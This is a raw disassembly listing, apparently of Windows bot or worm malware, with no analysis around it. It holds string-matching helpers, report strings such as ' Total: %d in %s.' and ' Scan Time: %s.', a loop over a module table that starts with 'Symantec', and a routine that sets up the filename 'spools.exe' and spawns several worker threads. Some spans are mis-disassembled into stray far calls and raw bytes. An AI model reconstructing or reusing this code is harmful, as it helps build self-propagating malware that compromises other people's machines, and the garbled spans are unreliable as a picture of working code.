		mov	ds:dword_444128[eax], ecx
		mov	ds:dword_44412C[eax], ecx
		mov	ds:dword_444130[eax], ecx
		mov	byte ptr ds:dword_443F20[eax], cl
		mov	ds:byte_444138[eax], cl
		retn
sub_40B32A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B367	proc near		; CODE XREF: seg000:00409875p
					; sub_40B495+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B371:				; CODE XREF: sub_40B367+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B3D1
		cmp	eax, 1
		jnz	short loc_40B3D1
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B3D1
		cmp	cl, 2Ah
		jz	short loc_40B3B8
		cmp	cl, 3Fh
		jz	short loc_40B39B
		cmp	cl, 5Bh
		jz	short loc_40B3A0
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B39B:				; CODE XREF: sub_40B367+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B3CB
; ---------------------------------------------------------------------------


loc_40B3A0:				; CODE XREF: sub_40B367+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B3FD
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B3CB
; ---------------------------------------------------------------------------


loc_40B3B8:				; CODE XREF: sub_40B367+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B495
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B3CB:				; CODE XREF: sub_40B367+37j
					; sub_40B367+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B371
; ---------------------------------------------------------------------------


loc_40B3D1:				; CODE XREF: sub_40B367+Ej
					; sub_40B367+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B3E1
		cmp	eax, 1
		jnz	short loc_40B3F8
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B3D1
; ---------------------------------------------------------------------------


loc_40B3E1:				; CODE XREF: sub_40B367+6Dj
		cmp	eax, 1
		jnz	short loc_40B3F8
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B3F8
		cmp	byte ptr [esi],	0
		jnz	short loc_40B3F8
		push	1
		pop	eax
		jmp	short loc_40B3FA
; ---------------------------------------------------------------------------


loc_40B3F8:				; CODE XREF: sub_40B367+72j
					; sub_40B367+7Dj ...
		xor	eax, eax


loc_40B3FA:				; CODE XREF: sub_40B367+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B367	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3FD	proc near		; CODE XREF: sub_40B367+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B41E
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B41E:				; CODE XREF: sub_40B3FD+19j
		push	ebx
		push	esi


loc_40B420:				; CODE XREF: sub_40B3FD+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B42E
		cmp	[ebp+var_4], eax
		jnz	short loc_40B47A


loc_40B42E:				; CODE XREF: sub_40B3FD+2Aj
		test	edi, edi
		jnz	short loc_40B46F
		cmp	bl, 2Dh
		jnz	short loc_40B463
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B463
		cmp	al, 5Dh
		jz	short loc_40B463
		cmp	[ebp+var_4], edi
		jnz	short loc_40B463
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B46F
		cmp	bl, al
		jg	short loc_40B46F
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B46F
; ---------------------------------------------------------------------------


loc_40B463:				; CODE XREF: sub_40B3FD+38j
					; sub_40B3FD+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B46F
		push	1
		pop	edi


loc_40B46F:				; CODE XREF: sub_40B3FD+33j
					; sub_40B3FD+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B420
; ---------------------------------------------------------------------------


loc_40B47A:				; CODE XREF: sub_40B3FD+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B487
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B487:				; CODE XREF: sub_40B3FD+82j
		cmp	edi, eax
		jnz	short loc_40B490
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B490:				; CODE XREF: sub_40B3FD+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B3FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B495	proc near		; CODE XREF: sub_40B367+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B4B1:				; CODE XREF: sub_40B495+3Aj
		cmp	[eax], bl
		jz	short loc_40B4D1
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B4C6
		cmp	cl, 2Ah
		jnz	short loc_40B4D1
		cmp	cl, 3Fh
		jnz	short loc_40B4C9


loc_40B4C6:				; CODE XREF: sub_40B495+25j
		inc	eax
		mov	[edi], eax


loc_40B4C9:				; CODE XREF: sub_40B495+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B4B1
; ---------------------------------------------------------------------------


loc_40B4D1:				; CODE XREF: sub_40B495+1Ej
					; sub_40B495+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B4DC
		inc	dword ptr [esi]
		jmp	short loc_40B4D1
; ---------------------------------------------------------------------------


loc_40B4DC:				; CODE XREF: sub_40B495+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B4FD
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B4EE
		xor	eax, eax
		jmp	short loc_40B55D
; ---------------------------------------------------------------------------


loc_40B4EE:				; CODE XREF: sub_40B495+53j
		cmp	cl, bl
		jnz	short loc_40B4FD
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B4FD
		push	1
		pop	eax
		jmp	short loc_40B55D
; ---------------------------------------------------------------------------


loc_40B4FD:				; CODE XREF: sub_40B495+4Dj
					; sub_40B495+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B367
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B547


loc_40B50B:				; CODE XREF: sub_40B495+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B50F:				; CODE XREF: sub_40B495+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B527
		cmp	cl, 5Bh
		jz	short loc_40B527
		cmp	dl, bl
		jz	short loc_40B527
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B50F
; ---------------------------------------------------------------------------


loc_40B527:				; CODE XREF: sub_40B495+82j
					; sub_40B495+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B53E
		push	eax
		push	dword ptr [esi]
		call	sub_40B367
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B543
; ---------------------------------------------------------------------------


loc_40B53E:				; CODE XREF: sub_40B495+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B543:				; CODE XREF: sub_40B495+A7j
		cmp	eax, ebx
		jnz	short loc_40B50B


loc_40B547:				; CODE XREF: sub_40B495+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B55A
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B55A
		mov	[ebp+var_4], 1


loc_40B55A:				; CODE XREF: sub_40B495+B6j
					; sub_40B495+BCj
		mov	eax, [ebp+var_4]


loc_40B55D:				; CODE XREF: sub_40B495+57j
					; sub_40B495+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B495	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B562	proc near		; CODE XREF: seg000:004045ECp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_438524
		push	eax
		xor	ebx, ebx
		call	sub_41BF36
		cmp	ds:dword_438048, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B5D4
		push	esi
		mov	esi, offset dword_438050


loc_40B595:				; CODE XREF: sub_40B562+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B5CA
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_438518
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C880
		add	esp, 1Ch


loc_40B5CA:				; CODE XREF: sub_40B562+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B595
		pop	esi


loc_40B5D4:				; CODE XREF: sub_40B562+2Bj
		push	ds:dword_4D0F24
		call	sub_41B12D
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C880
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B562	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B630	proc near		; CODE XREF: seg000:004045D6p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, ds:dword_4D3D00
		mov	ecx, ds:dword_4D3CFC
		push	esi
		push	ds:dword_4D0F24
		lea	esi, [ecx+eax]
		call	sub_41B12D
		push	eax
		push	esi
		push	ds:dword_4D3D00
		lea	eax, [ebp+var_200]
		push	ds:dword_4D3CFC
		push	offset unk_438544
		push	eax
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40B630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B69B	proc near		; CODE XREF: seg000:004045C0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ds:dword_4D0F24
		call	sub_41B12D
		push	eax
		lea	eax, [ebp+var_200]
		push	ds:dword_4D3F44
		push	offset unk_43858C
		push	eax
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		add	esp, 2Ch
		leave
		retn
sub_40B69B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6EF	proc near		; CODE XREF: seg000:004045AAp

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C1D0
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_4385D8
		push	eax
		call	sub_41BF36
		cmp	ds:dword_438048, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B75B
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B724:				; CODE XREF: sub_40B6EF+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_4385C8
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C880
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B724
		pop	esi


loc_40B75B:				; CODE XREF: sub_40B6EF+2Dj
		push	ds:dword_4D0F24
		call	sub_41B12D
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C880
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4157A6
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40B6EF	endp

; ---------------------------------------------------------------------------
byte_40B7B5	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:00404BF0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	ds:dword_4D1230
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	ds:dword_438048, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40B913
		mov	ebx, offset dword_438048
		mov	eax, ebx


loc_40B806:				; CODE XREF: seg000:0040B90Dj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40BF97
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B903
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_438628
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_4099D2
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4157A6
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-15Ch]
		push	esi
		push	eax
		call	sub_41BF36
		add	esp, 3Ch
		cmp	byte ptr [ebp-0A4h], 0
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B89E
		lea	eax, [ebp-124h]


loc_40B89E:				; CODE XREF: seg000:0040B896j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41BF36
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B903:				; CODE XREF: seg000:0040B819j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B806


loc_40B913:				; CODE XREF: seg000:0040B7F9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4385F4
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_4099D2
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-18h]
		call	sub_40B32A
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 6F469BE8h
		db 0, 20h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B966	proc near		; CODE XREF: seg000:00403F16p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_40B9A2
		mov	eax, [ebp+arg_C]
		push	ds:dword_4D1340[eax*8]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_438678
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_40B9B5
; ---------------------------------------------------------------------------


loc_40B9A2:				; CODE XREF: sub_40B966+13j
		lea	eax, [ebp+var_200]
		push	offset unk_438658
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_40B9B5:				; CODE XREF: sub_40B966+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		add	esp, 18h
		leave
		retn
sub_40B966	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc far		; CODE XREF: seg000:0040C297p

var_204		= byte ptr -204h
var_1F0		= dword	ptr -1F0h
var_4		= byte ptr -4
arg_C		= byte ptr  18h
arg_8C		= byte ptr  98h
arg_10C		= dword	ptr  118h
arg_12C		= dword	ptr  138h
arg_134		= dword	ptr  140h
arg_138		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_12C]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BEAF
		shl	eax, 6
		xor	ebx, ebx
		cmp	ds:dword_438054[eax], ebx
		jz	loc_40BEAF
		push	5
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jnz	loc_40BC64
		mov	eax, ds:dword_429080
		push	edi
		mov	esi, offset dword_4D33FC
		push	104h
		push	esi
		push	ebx
		mov	ds:dword_4D360C, eax
		mov	ds:dword_4D3608, ebx
		call	near ptr 0B00000h
		retf
; ---------------------------------------------------------------------------
		mov	edi, offset aSpools_exe	; "spools.exe"
		push	103h
		push	edi
		push	offset dword_4D3500
		call	sub_41BCA0
		mov	eax, [ebp+arg_10C]
		add	esp, 0Ch
		cmp	[ebp+arg_8C], bl
		mov	ds:dword_4D33F8, eax
		mov	eax, [ebp+arg_134]
		push	7Fh
		mov	ds:dword_4D3690, eax
		jnz	short loc_40BA90
		lea	eax, [ebp+arg_C]
		push	eax
		push	offset dword_4D3610
		call	sub_41BCA0
		add	esp, 0Ch
		mov	ds:dword_4D3694, 1
		jmp	short loc_40BAAA
; ---------------------------------------------------------------------------


loc_40BA90:				; CODE XREF: sub_40B9DD+94j
		lea	eax, [ebp+arg_8C]
		push	eax
		push	offset dword_4D3610
		call	sub_41BCA0
		add	esp, 0Ch
		mov	ds:dword_4D3694, ebx


loc_40BAAA:				; CODE XREF: sub_40B9DD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	ds:dword_4D360C
		push	offset unk_432B28
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B00E
		add	esp, 1Ch
		mov	ds:dword_4D3604, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D33F8
		push	offset dword_411D98
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, ds:dword_4D3604
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40BB18


loc_40BB06:				; CODE XREF: sub_40B9DD+139j
		cmp	ds:dword_4D3698, ebx
		jnz	short loc_40BB33
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_40BB06
; ---------------------------------------------------------------------------


loc_40BB18:				; CODE XREF: sub_40B9DD+127j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_438798
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40BB33:				; CODE XREF: sub_40B9DD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A6
		mov	eax, ds:dword_4D0F20
		mov	esi, offset dword_4D36A4
		mov	[esp+1F0h+var_1F0], 104h
		push	esi
		push	ebx
		mov	ds:dword_4D38B4, eax
		mov	ds:dword_4D38B0, ebx
		call	near ptr 0B00000h
		wait
		push	103h
		push	edi
		push	offset dword_4D37A8
		call	sub_41BCA0
		mov	eax, [ebp+arg_10C]
		add	esp, 0Ch
		cmp	[ebp+arg_8C], bl
		mov	ds:dword_4D36A0, eax
		mov	eax, [ebp+arg_134]
		pop	edi
		mov	ds:dword_4D3938, eax
		push	7Fh
		jnz	short loc_40BBB4
		lea	eax, [ebp+arg_C]
		push	eax
		push	offset dword_4D38B8
		call	sub_41BCA0
		add	esp, 0Ch
		mov	ds:dword_4D393C, 1
		jmp	short loc_40BBCE
; ---------------------------------------------------------------------------


loc_40BBB4:				; CODE XREF: sub_40B9DD+1B8j
		lea	eax, [ebp+arg_8C]
		push	eax
		push	offset dword_4D38B8
		call	sub_41BCA0
		add	esp, 0Ch
		mov	ds:dword_4D393C, ebx


loc_40BBCE:				; CODE XREF: sub_40B9DD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	ds:dword_4D38B4
		push	offset unk_438764
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B00E
		add	esp, 1Ch
		mov	ds:dword_4D38AC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D36A0
		push	offset sub_40F168
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, ds:dword_4D38AC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40BC3C


loc_40BC2A:				; CODE XREF: sub_40B9DD+25Dj
		cmp	ds:dword_4D3940, ebx
		jnz	short loc_40BC57
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_40BC2A
; ---------------------------------------------------------------------------


loc_40BC3C:				; CODE XREF: sub_40B9DD+24Bj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_438730
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40BC57:				; CODE XREF: sub_40B9DD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_40BC64:				; CODE XREF: sub_40B9DD+35j
		mov	eax, [ebp+arg_12C]
		mov	ecx, eax
		shl	ecx, 6
		cmp	ds:dword_43805C[ecx], ebx
		jz	loc_40BD8D
		push	7
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jnz	loc_40BD87
		mov	eax, ds:dword_4D3F3C
		cmp	[ebp+arg_8C], bl
		mov	ds:dword_4D3364, eax
		mov	eax, [ebp+arg_10C]
		mov	ds:dword_4D3358, eax
		mov	eax, [ebp+arg_134]
		mov	ds:dword_4D3360, ebx
		mov	ds:dword_4D33E8, eax
		push	7Fh
		jnz	short loc_40BCD8
		lea	eax, [ebp+arg_C]
		push	eax
		push	offset dword_4D3368
		call	sub_41BCA0
		add	esp, 0Ch
		mov	ds:dword_4D33EC, 1
		jmp	short loc_40BCF2
; ---------------------------------------------------------------------------


loc_40BCD8:				; CODE XREF: sub_40B9DD+2DCj
		lea	eax, [ebp+arg_8C]
		push	eax
		push	offset dword_4D3368
		call	sub_41BCA0
		add	esp, 0Ch
		mov	ds:dword_4D33EC, ebx


loc_40BCF2:				; CODE XREF: sub_40B9DD+2F9j
		push	ds:dword_4D3364
		lea	eax, [ebp+var_204]
		push	offset unk_438700
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B00E
		add	esp, 18h
		mov	ds:dword_4D335C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D3358
		push	offset word_40EEC6
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, ds:dword_4D335C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40BD5F


loc_40BD4D:				; CODE XREF: sub_40B9DD+380j
		cmp	ds:dword_4D33F0, ebx
		jnz	short loc_40BD7A
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_40BD4D
; ---------------------------------------------------------------------------


loc_40BD5F:				; CODE XREF: sub_40B9DD+36Ej
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4386C8
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40BD7A:				; CODE XREF: sub_40B9DD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_40BD87:				; CODE XREF: sub_40B9DD+2A8j
		mov	eax, [ebp+arg_12C]


loc_40BD8D:				; CODE XREF: sub_40B9DD+298j
		shl	eax, 6
		cmp	ds:dword_438058[eax], ebx
		jz	loc_40BEAF
		push	3
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jnz	loc_40BEAF
		mov	esi, offset dword_4D3BD4
		push	104h
		push	esi
		push	ebx
		call	near ptr 0B00000h
		inc	eax
		push	5Ch
		push	esi
		call	sub_41C4E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BDCE
		mov	[eax], bl


loc_40BDCE:				; CODE XREF: sub_40B9DD+3EDj
		mov	eax, ds:dword_4D108C
		mov	ds:dword_4D3CEC, ebx
		mov	ds:dword_4D3CD8, eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	offset dword_4D394C
		call	sub_41BF36
		mov	eax, [ebp+arg_10C]
		pop	ecx
		pop	ecx
		mov	ds:dword_4D3948, eax
		mov	ecx, [ebp+arg_134]
		push	esi
		push	ds:dword_4D3CD8
		mov	ds:dword_4D3CE4, ecx
		mov	ecx, [ebp+arg_138]
		push	eax
		mov	ds:dword_4D3CE8, ecx
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432AB0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	ds:dword_4D3CE0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D3948
		push	offset sub_40F891
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, ds:dword_4D3CE0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40BE87


loc_40BE75:				; CODE XREF: sub_40B9DD+4A8j
		cmp	ds:dword_4D3CF4, ebx
		jnz	short loc_40BEA2
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_40BE75
; ---------------------------------------------------------------------------


loc_40BE87:				; CODE XREF: sub_40B9DD+496j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_438694
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40BEA2:				; CODE XREF: sub_40B9DD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4157A6
		pop	ecx


loc_40BEAF:				; CODE XREF: sub_40B9DD+14j
					; sub_40B9DD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
